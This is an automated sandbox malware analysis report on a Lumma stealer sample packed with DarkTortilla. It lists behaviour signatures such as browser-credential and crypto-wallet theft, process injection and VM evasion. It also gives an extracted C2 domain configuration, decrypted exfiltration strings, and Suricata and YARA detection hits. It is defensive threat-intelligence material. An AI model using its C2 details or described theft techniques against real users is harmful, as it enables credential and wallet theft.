Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe
Analysis ID:	1545740
MD5:	0b842f6524815b8064a51c651838cc73
SHA1:	08ef826547f5cf668f8d7d38477e1926a50c65db
SHA256:	779f6eab3cef74bddcabbf54b6a46d6ef6b6fba5a7218e70e5ada41f68d047d1
Tags:	exe
Infos:

Detection

LummaC, DarkTortilla, LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected DarkTortilla Crypter

Yara detected LummaC Stealer

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to launch a process as a different user

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe (PID: 2200 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe" MD5: 0B842F6524815B8064A51C651838CC73)

AddInProcess32.exe (PID: 5668 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
DarkTortilla	DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks Counter Threat Unit (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver "addon packages" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.From January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.	No Attribution	https://www.secureworks.com/research/darktortilla-malware-analysis	https://malpedia.caad.fkie.fraunhofer.de/details/win.darktortilla

Malware Configuration

Threatname: LummaC

{"C2 url": ["faulteyotk.site", "dilemmadu.site", "seallysl.site", "servicedny.site", "contemteny.site", "goalyfeastz.site", "authorisev.site", "treatmentyj.cyou", "opposezmny.site"], "Build id": "VXGDR--G3"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2797210374.00000000055E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
00000000.00000002.2792993477.0000000003ED6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
00000000.00000002.2785718218.0000000002D91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe PID: 2200	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe PID: 2200	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe.55e0000.1.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
0.2.SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe.55e0000.1.raw.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
0.2.SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe.3f21590.0.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
0.2.SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe.3f21590.0.raw.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T22:37:21.960483+0100	2054653	1	A Network Trojan was detected	192.168.2.5	62746	188.114.96.3	443	TCP
2024-10-30T22:37:23.342429+0100	2054653	1	A Network Trojan was detected	192.168.2.5	62747	104.21.33.140	443	TCP
2024-10-30T22:37:24.316655+0100	2054653	1	A Network Trojan was detected	192.168.2.5	62748	104.21.33.140	443	TCP
2024-10-30T22:37:33.748545+0100	2054653	1	A Network Trojan was detected	192.168.2.5	62754	104.21.33.140	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T22:37:21.960483+0100	2049836	1	A Network Trojan was detected	192.168.2.5	62746	188.114.96.3	443	TCP
2024-10-30T22:37:23.342429+0100	2049836	1	A Network Trojan was detected	192.168.2.5	62747	104.21.33.140	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T22:37:24.316655+0100	2049812	1	A Network Trojan was detected	192.168.2.5	62748	104.21.33.140	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T22:37:22.661468+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.5	62747	104.21.33.140	443	TCP
2024-10-30T22:37:24.006041+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.5	62748	104.21.33.140	443	TCP
2024-10-30T22:37:25.067029+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.5	62749	104.21.33.140	443	TCP
2024-10-30T22:37:26.180881+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.5	62750	104.21.33.140	443	TCP
2024-10-30T22:37:27.425850+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.5	62751	104.21.33.140	443	TCP
2024-10-30T22:37:28.893995+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.5	62752	104.21.33.140	443	TCP
2024-10-30T22:37:30.344255+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.5	62753	104.21.33.140	443	TCP
2024-10-30T22:37:33.280445+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.5	62754	104.21.33.140	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (goalyfeastz .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T22:37:21.999773+0100	2057085	1	Domain Observed Used for C2 Detected	192.168.2.5	60198	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (opposezmny .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T22:37:21.983661+0100	2057089	1	Domain Observed Used for C2 Detected	192.168.2.5	51724	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (seallysl .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T22:37:21.967612+0100	2057093	1	Domain Observed Used for C2 Detected	192.168.2.5	57099	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T22:37:25.549612+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	62749	104.21.33.140	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T22:37:30.348995+0100	2843864	1	A Network Trojan was detected	192.168.2.5	62753	104.21.33.140	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 4.2.AddInProcess32.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["faulteyotk.site", "dilemmadu.site", "seallysl.site", "servicedny.site", "contemteny.site", "goalyfeastz.site", "authorisev.site", "treatmentyj.cyou", "opposezmny.site"], "Build id": "VXGDR--G3"}

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: servicedny.site
Source: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: authorisev.site
Source: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: faulteyotk.site
Source: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: dilemmadu.site
Source: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: contemteny.site
Source: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: goalyfeastz.site
Source: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: opposezmny.site
Source: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: seallysl.site
Source: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: treatmentyj.cyou
Source: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: VXGDR--G3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 4_2_0041D5AF CryptUnprotectData,

4_2_0041D5AF

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:62746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:62746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:62747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:62748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:62749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:62750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:62751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:62752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:62753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:62754 version: TLS 1.2

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+5A603547h]	4_2_00410130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [ebx], dl	4_2_00410130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ecx, byte ptr [ecx+eax-24F86745h]	4_2_00410130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov edx, ecx	4_2_00410130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov edx, ecx	4_2_00410130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx esi, byte ptr [eax]	4_2_004441F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov edx, ecx	4_2_0044137E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov edx, ecx	4_2_004413D5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then jmp eax	4_2_0041D5AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov edx, eax	4_2_0043A97E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [eax+ebx*8], 7CDE1E50h	4_2_0043A97E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B62B8D10h	4_2_0043A97E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [ebx], cl	4_2_0042EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov ecx, eax	4_2_0042EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then lea edx, dword ptr [eax-80h]	4_2_0042EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx+0000009Ch]	4_2_0042EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+068F7B6Bh]	4_2_0042EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov dword ptr [esi+04h], eax	4_2_0042EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_0042EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov dword ptr [eax+ebx], 30303030h	4_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov dword ptr [eax+ebx], 20202020h	4_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], B62B8D10h	4_2_0043B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+5A603547h]	4_2_00410118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [ebx], dl	4_2_00410118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ecx, byte ptr [ecx+eax-24F86745h]	4_2_00410118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov edx, ecx	4_2_00410118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov edx, ecx	4_2_00410118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then jmp edx	4_2_004431D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	4_2_004431D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-7DC9E524h]	4_2_004241E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then jmp edx	4_2_00442EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	4_2_00442EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then jmp edx	4_2_004432C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	4_2_004432C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [eax+ebx], 00000030h	4_2_004012D5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov ecx, ebx	4_2_00421333
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx esi, byte ptr [eax]	4_2_00444380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then jmp edx	4_2_004433B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	4_2_004433B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	4_2_0042E400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx+0000009Ch]	4_2_0042F4DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+068F7B6Bh]	4_2_0042F4DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov dword ptr [esi+04h], eax	4_2_0042F4DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_0042F4DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov ebx, eax	4_2_0040D500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [ebx], ax	4_2_0041F510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [esi], cl	4_2_0041F510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-67BC38F0h]	4_2_00441648
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	4_2_0043C6D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_0041C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+52B71DE2h]	4_2_00441720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	4_2_00443720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ebx-09A22FB6h]	4_2_0043F7E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	4_2_0042E870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ecx, byte ptr [edi+ebx]	4_2_00405820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_0041C8CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov ecx, eax	4_2_0040E8D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ebx, byte ptr [edx+esi]	4_2_0040C960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov ecx, eax	4_2_0040E996
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then jmp eax	4_2_0042AA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+1817620Ch]	4_2_0042AA60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_0042CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_0042CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+2BB126CDh]	4_2_0043FAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov edi, edx	4_2_00421B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp al, 2Eh	4_2_0042AC04
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov edi, esi	4_2_0041ECDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	4_2_00437CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	4_2_0042DE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov dword ptr [esp+3Ch], 595A5B84h	4_2_00440E3A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov edi, dword ptr [esp+54h]	4_2_0042CEDA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then jmp edx	4_2_00442EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	4_2_00442EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	4_2_00425F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx edi, word ptr [edx]	4_2_00428F00

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.5:62748 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2057085 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (goalyfeastz .site) : 192.168.2.5:60198 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.5:62752 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.5:62749 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.5:62750 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.5:62751 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.5:62753 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2057089 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (opposezmny .site) : 192.168.2.5:51724 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.5:62754 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2057093 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (seallysl .site) : 192.168.2.5:57099 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.5:62747 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:62748 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:62746 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:62748 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:62746 -> 188.114.96.3:443
